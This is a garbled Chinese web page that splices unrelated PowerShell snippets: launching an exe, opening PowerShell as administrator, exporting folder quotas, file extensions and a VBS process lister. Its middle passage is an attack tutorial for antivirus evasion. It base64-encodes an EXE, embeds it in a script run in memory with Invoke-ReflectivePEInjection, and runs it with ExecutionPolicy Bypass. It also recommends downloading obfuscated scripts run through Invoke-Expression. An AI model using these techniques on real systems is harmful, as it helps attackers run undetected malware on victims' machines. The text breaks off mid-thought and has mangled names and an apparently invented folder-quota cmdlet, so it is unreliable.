codeStart-Process "path-to-exe-file"
将 "path-to-exe-file" 替换为要打开的exe文件的完整路径。例如,如果要打开位于C:\Program Files\example\exampleexe的exe文件,可以使用以下命令:
codeStart-Process "C:\Program Files\example\exampleexe"
该命令将启动exe文件并打开相关的应用程序。首先可以单击键盘上的windows图标或者是单击开始菜单,然后在d出来的快捷菜单的搜索框中输入Windows PowerShell,等待一会之后,便可以在开始菜单中出现搜索结果了,找到Windows PowerShell选项,然后右键点击该项,选择以管理员身份运行即可打开。除了使用搜索功能之外,还可以在快捷菜单中直接找到Windows PowerShell功能,单击开始菜单-所有程序-附件之后便可以在其中找到Windows PowerShell文件夹了,单击一下,在下属目录中找到Windows PowerShell选项,还是右键点击,选择以管理员身份运行即可打开Windows PowerShell窗口我在尝试解决一个问题,即在客户端攻击中只使用纯 PowerShell 脚本作为攻击负荷。使用 PowerShell 运行恶意代码具有很多优点,包括:
1无需在目标上安装其他任何东西。
2强大的引擎(例如可以直接调用 NET 代码)。
3可以使用 base64 编码命令来混淆恶意命令,使恶意命令变的不容易被发现。这同样也是一种可以避免使用特殊字符的方法,尤其是在一个涉及多个步骤需要分离不同攻击负荷的高级攻击中。
4可以使用Invoke-Expression将字符串解释为 Powershell
命令。从渗透测试的角度看,这可以避免在目标磁盘上编写复杂的脚本。例如:你可以使用 Powershell 下载额外的复杂脚本,然后通过调用
Invoke-Expression 解释并执行下载到内存中的脚本。这个过程同样可以躲避杀毒软件的查杀。
我们想在目标上运行一些相当复杂的功能,这些功能常是 EXE 文件的一部分。我不想直接在目标上放置一个二进制文件,因为这样可能会触发反病毒机制。所以我想将其放入 Powershell 脚本中,不过我也不想重写整个 Powershell 脚本。
最终我想到一个办法。
将二进制文件嵌入到 Powershell 脚本中,并直接通过脚本运行而不用将其写入到磁盘里。
下面演示解决步骤:
1将二进制文件进行 base64 编码
可以使用以下函数:
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [SystemIOFile]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file Ensure that you have permission to the file, and that the file path is correct";
}
if ($ByteArray) {
$Base64String = [SystemConvert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null';
}
Write-Output -InputObject $Base64String;
}
2 按如下过程创建一个新的脚本
1用上一步的方法将 EXE 文件转为字符串;
2准备 Invoke-ReflectivePEInjection(Powersploit project 的一部分);
3将字符串转为字节数组;
4调用 Invoke-ReflectivePEInjection。
所以,二进制文件只是 Powershell 脚本中的一段字符串,在将字符串解码为二进制数组后,就可以调用 Invoke-ReflectivePEInjection 直接在内存中运行。
最后看起来像这样:
# base64 编码的二进制文件
$InputString = ''
function Invoke-ReflectivePEInjection
{
}
# 将二进制字符串转为字节数组
$PEBytes = [SystemConvert]::FromBase64String($InputString)
# 在内存中运行 EXE
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
现在就可以在目标上运行脚本了:
powershell -ExecutionPolicy Bypass -File payloadps1
根据嵌入的不同二进制文件,可能会出现以下错误:
PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)
解决这个问题只需要运行 32 位的 PowerShell 即可。
下面是我将 plinkexe 嵌入 payloadps1 的例子:您可以使用PowerShell来导出文件夹配额。要执行此 *** 作,请执行以下步骤:
1 在PowerShell中,输入“Get-ChildItem -Recurse | Get-FolderQuota”,以获取文件夹配额信息。
2 输入“Export-Csv -Path <文件路径> -NoTypeInformation”,以将文件夹配额信息导出到CSV文件中。
3 打开CSV文件,查看文件夹配额信息。
此外,您还可以使用Windows管理工具(MMC)来导出文件夹配额。要执行此 *** 作,请执行以下步骤:
1 打开MMC,并将文件夹配额插件添加到MMC中。
2 在MMC中,右键单击文件夹,然后选择“属性”。
3 在“文件夹配额”选项卡中,查看文件夹配额信息。
4 将文件夹配额信息导出到CSV文件中,以便查看。
希望以上信息对您有所帮助。PowerShell脚本文件通常使用ps1作为文件扩展名。ps1文件是一种包含PowerShell脚本代码的文本文件,可以通过PowerShell解释器执行。
其他一些常用的PowerShell文件扩展名包括:
psm1:PowerShell模块文件扩展名,包含了可重用的PowerShell脚本代码和相关函数。
psd1:PowerShell数据文件扩展名,包含了PowerShell模块和其他资源的元数据信息。
pssc:PowerShell会话配置文件扩展名,包含了PowerShell会话的配置信息和参数。
psxml:PowerShell XML文档文件扩展名,用于存储XML格式的PowerShell数据。
注意,虽然PowerShell脚本文件通常使用ps1作为文件扩展名,但是在某些情况下,例如在运行PowerShell脚本时,您可以不使用文件扩展名来调用脚本。例如,如果您有一个名为“myscriptps1”的PowerShell脚本文件,您可以通过以下方式运行它:
Copy code
PS C:\scripts> \myscript
在这个例子中,PowerShell会自动添加ps1文件扩展名并运行脚本。将下列命令保存为testvbs
Set wmi = GetObject("winmgmts:")
Set collection = wmiExecQuery("select from Win32_Process")
For Each process in collection
WScriptEcho processgetObjectText_
Next
执行 \testvbs 会遍历当前Win32进程,并把每个进程的详细信息通过窗口显示出来。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)